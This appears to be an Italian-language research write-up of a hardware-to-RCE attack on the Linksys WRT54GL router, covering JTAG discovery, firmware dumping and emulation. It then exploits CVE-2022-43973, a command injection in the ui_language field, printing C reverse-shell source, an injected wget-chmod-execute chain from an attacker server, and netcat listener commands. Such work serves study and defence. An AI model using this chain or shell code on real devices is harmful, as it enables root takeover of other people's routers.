
Dalla saldatura alla shell: Sfruttamento hardware completo del router Linksys WRT54GL (CVE-2022-43973)
Un percorso di ricerca sulla sicurezza embedded in 10 fasi — dalla scoperta dei pin JTAG all'esecuzione remota di codice su un router consumer basato su MIPS.
| Autore | Umberto Della Monica |
| Ruolo | Studente MSc Cybersecurity — Ricercatore di Sicurezza Embedded |
| Data | Maggio 2026 |
| Repository | Linksys-WRT54GL-Exploitation |
Avvertenza: Questa ricerca è stata condotta esclusivamente per scopi educativi e di ricerca su hardware di mia proprietà personale. Non è stato effettuato alcun accesso a sistemi non autorizzati. Tutte le tecniche descritte devono essere riprodotte solo su dispositivi di tua proprietà o per i quali possiedi un'autorizzazione esplicita e scritta. L'autore declina ogni responsabilità per qualsiasi uso improprio delle informazioni presentate. Rispetta sempre le leggi, le normative e le pratiche di divulgazione responsabile applicabili.
Il Linksys WRT54GL è uno dei router consumer più iconici mai prodotti. Il suo supporto per firmware open-source lo ha reso un favorito tra appassionati e ricercatori. Nonostante la sua età, rimane in uso attivo in tutto il mondo, rendendolo un target rilevante per la ricerca sulla sicurezza embedded.
Il primo passo in qualsiasi valutazione della sicurezza hardware è l'ispezione fisica. Dopo aver aperto l'involucro del dispositivo, ho identificato due interfacce di debug sul PCB:
Poiché l'header JTAG non era saldato, ho saldato un header temporaneo per accedere all'interfaccia di debug. Utilizzando un multimetro, ho identificato le linee di ground e Vcc e ho confermato che il target opera a livelli logici di 3.3V — fondamentale per evitare di danneggiare il chipset.
Per mappare i segnali JTAG, ho utilizzato un JTAGulator di Grand Idea Studio — uno strumento hardware progettato per identificare automaticamente le interfacce di debug sondando tutte le combinazioni di pin possibili.
Il JTAGulator ha identificato con successo la seguente piedinatura JTAG:
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
TCK: PA3
TMS: PA4
TDI: PA1
TDO: PA2
TRST: NC
SRST: PB0
notes: "Header JP3 — logica 3.3V verificata."
Con i pin JTAG identificati, ho collegato un Attify Badge — uno strumento open-source per la valutazione della sicurezza hardware (GNU GPL v3.0) dotato di un chip FTDI FT2232H — all'header JTAG del router.
Ho avviato OpenOCD (Open On-Chip Debugger) con una configurazione personalizzata per il target BCM5352, poiché le configurazioni ufficiali erano incompatibili con questa specifica revisione hardware.
La configurazione personalizzata di OpenOCD definisce la partizione flash del router:
Dopo aver fermato la CPU, ho eseguito un dump completo di 4 MB della flash NOR memory-mapped:
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000
Utilizzando binwalk, ho analizzato il dump del firmware per identificare filesystem embedded, segmenti compressi e l'immagine del kernel:
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin # analisi dell'entropia
sha256sum ./dumps/wrt54gl.bin # verifica dell'integrità
L'analisi ha rivelato un filesystem SquashFS contenente un ambiente Linux standard basato su BusyBox. L'ho estratto usando binwalk -e e unsquashfs per un'ispezione più approfondita.
Per creare un ambiente di test sicuro, ho configurato l'emulazione del firmware utilizzando FirmAE — un framework automatizzato di emulazione del firmware che supporta architetture MIPS. Questo mi ha permesso di riprodurre i servizi del router (HTTP, telnet) in un ambiente virtuale e testare gli exploit senza rischi per il dispositivo fisico.
Utilizzando Ghidra (il framework di reverse engineering della NSA) con il plugin decompilatore MIPS, ho eseguito un'analisi statica sui binari del firmware estratto per confermare la presenza della CVE-2022-43973.
La vulnerabilità risiede nel gestore delle richieste CGI del router. Il campo del modulo ui_language nell'endpoint /apply.cgi accetta input arbitrario senza sanitizzazione. Iniettando comandi shell racchiusi nella sintassi ;cmd;, un attaccante può predisporre comandi che vengono successivamente eseguiti quando viene attivato un aggiornamento del firmware tramite /upgrade.cgi.
Versioni firmware affette:
Ho sviluppato una reverse shell personalizzata in C, costruita appositamente per l'architettura MIPS del router. Il payload stabilisce una connessione TCP di ritorno all'attaccante, reindirizza tutti i descrittori di file standard al socket e genera una shell interattiva:
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0); // reindirizza stdin
dup2(sockt, 1); // reindirizza stdout
dup2(sockt, 2); // reindirizza stderr
execve("/bin/sh", sh_argv, NULL);
Per compilare il payload per l'architettura target, ho creato un ambiente Docker riproducibile contenente la toolchain di cross-compilazione Broadcom MIPS (hndtools-mipsel-linux-3.2.3), ottenuta dalla release GPL ufficiale di Linksys (WRT54GL-ETSI_v4.30.18.006):
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest
# All'interno del container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c
Il binario risultante è collegato staticamente per la portabilità — nessuna dipendenza da librerie condivise sul target.
Ho sviluppato un framework di exploit in Python che automatizza l'intera catena di attacco sfruttando CVE-2022-43973. L'exploit esegue una sequenza in 4 fasi, ciascuna iniettata come comando tramite il parametro ui_language:
wget per scaricare il binario della reverse shell MIPS dal server HTTP dell'attaccante a /tmp/X sul routerchmod +x /tmp/X per rendere il binario eseguibile/tmp/X <attacker_ip> <port> per lanciare la reverse shellui_language al suo valore predefinito (en)Ogni comando è racchiuso come ;cmd; nel campo ui_language e inviato tramite POST /apply.cgi. Una successiva POST /upgrade.cgi ne attiva l'esecuzione.
Sulla macchina dell'attaccante sono necessari tre terminali:
# Terminale 1: Servire il binario della reverse shell
python -m http.server 8000
# Terminale 2: Ascoltare la reverse shell in arrivo
nc -lvnp 4141
# Terminale 3: Lanciare l'exploit
python exploit.py --host 192.168.1.1 --username admin --password admin \
--attacker-host 192.168.1.2 --attacker-http-port 8000 \
--attacker-handler-port 4141
La reverse shell si riconnette al listener Netcat dell'attaccante, fornendo una shell root interattiva sul router.
Per validare l'intera catena di exploit, ho catturato il traffico di rete con Wireshark durante l'attacco. L'analisi ha confermato:
/apply.cgi e /upgrade.cgiwget dal server HTTP dell'attaccanteL'accesso fisico è un potente vettore di attacco. JTAG fornisce accesso hardware a livello root che bypassa tutti i meccanismi di sicurezza software. Le organizzazioni che distribuiscono dispositivi embedded dovrebbero considerare controlli di sicurezza fisica e disabilitare le interfacce di debug nel firmware di produzione.
L'estrazione del firmware è fondamentale. Il dump e l'analisi del firmware rivelano l'intero stack software — incluse credenziali hardcoded, dati di configurazione e percorsi di codice vulnerabili che sono invisibili da una prospettiva puramente di rete.
L'emulazione consente una ricerca sicura e ripetibile. Strumenti come FirmAE permettono ai ricercatori di riprodurre il comportamento del dispositivo in un ambiente virtuale, consentendo test iterativi senza rischiare hardware fisico o innescare conseguenze indesiderate.
Semplici fallimenti nella validazione dell'input hanno un impatto critico. CVE-2022-43973 dimostra come un singolo campo di modulo non sanitizzato in un'interfaccia web possa portare al completo compromesso del dispositivo con accesso a livello root. La difesa in profondità — validazione dell'input, privilegio minimo e pratiche di codifica sicura — rimane essenziale.
Le toolchain riproducibili sono importanti. Gli ambienti di cross-compilazione basati su Docker garantiscono che payload e strumenti possano essere ricostruiti in modo affidabile, rendendo i risultati della ricerca verificabili e condivisibili.
I dispositivi legacy rappresentano un rischio continuo. Il WRT54GL rimane in uso attivo a livello globale. I dispositivi a fine vita che non ricevono più aggiornamenti di sicurezza rappresentano una minaccia persistente per la sicurezza della rete.
Per dettagli tecnici approfonditi, consultare i seguenti documenti:
| Documento | Descrizione |
|---|---|
| Inventario Hardware |
Questo progetto è concesso in licenza con la MIT License — vedi il file LICENSE per i dettagli.
Se si riproducono schemi di Attify o JTAGulator, seguire le rispettive licenze (GNU GPL v3.0 per componenti Attify).
Umberto Della Monica
LinkedIn
#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec
| Specifica | Valore |
|---|
| Chipset | Broadcom BCM5352 |
| Clock CPU | 200 MHz |
| Architettura | MIPS 32-bit (Little Endian) |
| Memoria Flash | 4 MB NOR (memory-mapped a 0xbfc00000) |
| RAM | 16 MB |
| Wireless | IEEE 802.11b/g, 54 Mbps |
| Rete | 4x LAN + 1x WAN, firewall NAT con SPI |
| SO | Basato su Linux (BusyBox) |
| Bootloader | CFE (Common Firmware Environment) |
| Partizione | Descrizione | Indirizzo di Inizio | Dimensione |
|---|
| CFE | Bootloader | 0xbfc00000 | 256 KB |
| Firmware | Kernel + Root FS | 0xbfc40000 | ~3,7 MB |
| NVRAM | Configurazione | 0xbfff0000 | 64 KB |
| Campo | Valore |
|---|
| ID CVE | CVE-2022-43973 |
| Tipo | Esecuzione Remota di Codice (RCE) |
| Vettore di Attacco | Richiesta HTTP autenticata |
| Causa Principale | Injection di comandi tramite il parametro ui_language non sanitizzato |
| Endpoint | POST /apply.cgi |
| Attivazione | POST /upgrade.cgi (aggiornamento firmware) |
| Impatto | Esecuzione completa di comandi a livello root |
| Categoria | Strumento | Scopo | Riferimento |
|---|
| Hardware | Attify Badge | Adattatore interfaccia JTAG/UART | docs.attify.com (GNU GPL v3.0) |
| Hardware | JTAGulator | Scoperta automatica dei pin di debug | Grand Idea Studio |
| Software | OpenOCD | Debug JTAG e accesso alla flash | openocd.org |
| Software | Ghidra | Analisi statica e decompilazione | ghidra-sre.org (NSA) |
| Software | binwalk | Analisi ed estrazione del firmware | ReFirmLabs |
| Software | FirmAE | Emulazione del firmware (MIPS) | GitHub |
| Software | Firmadyne | Analisi dinamica del firmware | GitHub |
| Software | Docker | Ambiente di build riproducibile | docker.com |
| Toolchain | hndtools-mipsel-linux | Cross-compilatore Broadcom MIPS | Release GPL Linksys |
| Software | Python 3 | Framework di automazione exploit | python.org |
| Software | Wireshark | Analisi del traffico di rete | wireshark.org |
| Standard | IEEE 1149.1 | Standard JTAG boundary-scan | IEEE |
| Specifiche del dispositivo, piedinature, datasheet e strumenti hardware |
| Stack Software | Configurazione Docker, configurazione OpenOCD, dettagli toolchain e risoluzione dei problemi |
| Procedura di Sfruttamento | Flusso di lavoro in 10 fasi passo-passo con comandi e screenshot |